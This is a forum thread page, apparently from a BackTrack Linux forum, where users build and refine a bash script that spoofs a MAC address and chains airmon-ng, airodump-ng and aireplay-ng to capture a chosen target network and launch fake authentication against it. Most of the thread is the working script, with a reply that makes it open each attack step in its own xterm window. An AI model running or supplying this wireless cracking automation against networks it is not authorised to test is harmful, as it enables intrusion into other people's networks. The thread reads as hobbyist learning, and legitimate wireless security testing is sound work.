Page 2 of 2 FirstFirst 12
Results 11 to 16 of 16

Thread: Looking for a Script.

  1. #11
    Just burned his ISO Steel9's Avatar
    Join Date
    Mar 2009
    Posts
    10

    Thumbs down

    Hey you got to start somewhere right.

    I got another question, how would you go about having one bash file continue to run and open another shell and perform another task without two .sh scripts?

    don't think I'm trying to hack the world here, but just want to learn. I googled without success. this is where I'm at.

    #!/bin/bash
    airmon-ng stop wlan0
    ifconfig wlan0 down
    macchanger --mac 00:11:22:33:44:55 wlan0
    airmon-ng start wlan0
    airodump-ng wlan0
    echo Enter The Mac to Crack
    read Mac
    echo Enter The Essid Name Of User
    read Essid
    echo Enter The Channel# Of User
    read Channel
    airodump-ng -c $Channel -w $Essid --bssid $Mac wlan0

    what command would continue that process and in a new konsole window peform

    aireplay-ng -1 0 -a $Mac -h 00:11:22:33:44:55 -e $Essid wlan0

  2. #12
    Developer
    Join Date
    Mar 2007
    Posts
    6,124

    Default

    The problem you are going to have is all that stuff will be background so you wont see it. What you want to do is a little tricky but I will give you some hints. I'm not on backtrack at the moment but I will show you the basics. There are a few ways to background and foreground a procces the most common is the use of the ampersand.

    one & means "move on to next command before this command completes and
    && means wait until the current command is complete untill moving on to the next command.

    What you want to do is a little trickier because I assume that you want to be able to look at the airodump shell in order to select your target variables. What you will need to do is spawn a new shell with the airodump command so you can select your variables. Im not sure how to do it with konsole which is the default shell for kde but I know every distro has xterm.
    so
    #!/bin/bash
    airmon-ng stop wlan0
    ifconfig wlan0 down
    macchanger --mac 00:11:22:33:44:55 wlan0
    airmon-ng start wlan0
    airodump-ng wlan0
    echo Enter The Mac to Crack
    read Mac
    echo Enter The Essid Name Of User
    read Essid
    echo Enter The Channel# Of User
    read Channel
    xterm -e "airodump-ng -c $Channel -w $Essid --bssid $Mac wlan0" &
    xterm -e "aireplay-ng -1 0 -a $Mac -h 00:11:22:33:44:55 -e $Essid wlan0" &
    <next command here>

  3. #13
    Member hawaii67's Avatar
    Join Date
    Feb 2006
    Posts
    318

    Default

    Quote Originally Posted by cr1spyj0nes View Post
    hey, his learning,
    ???
    Don't eat yellow snow :rolleyes:

  4. #14
    Member
    Join Date
    Jan 2010
    Posts
    159

    Default

    Quote Originally Posted by pureh@te View Post
    echo Enter The Channel# Of User
    read Channel
    <next command here>
    You might want to escape the # sign, or it will become a comment...

  5. #15
    Developer
    Join Date
    Mar 2007
    Posts
    6,124

    Default

    Quote Originally Posted by Mr. Flibble View Post
    You might want to escape the # sign, or it will become a comment...
    It was his script not mine

  6. #16
    Just burned his ISO Steel9's Avatar
    Join Date
    Mar 2009
    Posts
    10

    Smile

    Thanks Pureh@te

    I tried out the xterm command and it works well, I also used a read -p 'Press enter to continue' command to keep the window from closing and to move onto the next step.

    Thank you again for your help.

Page 2 of 2 FirstFirst 12

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •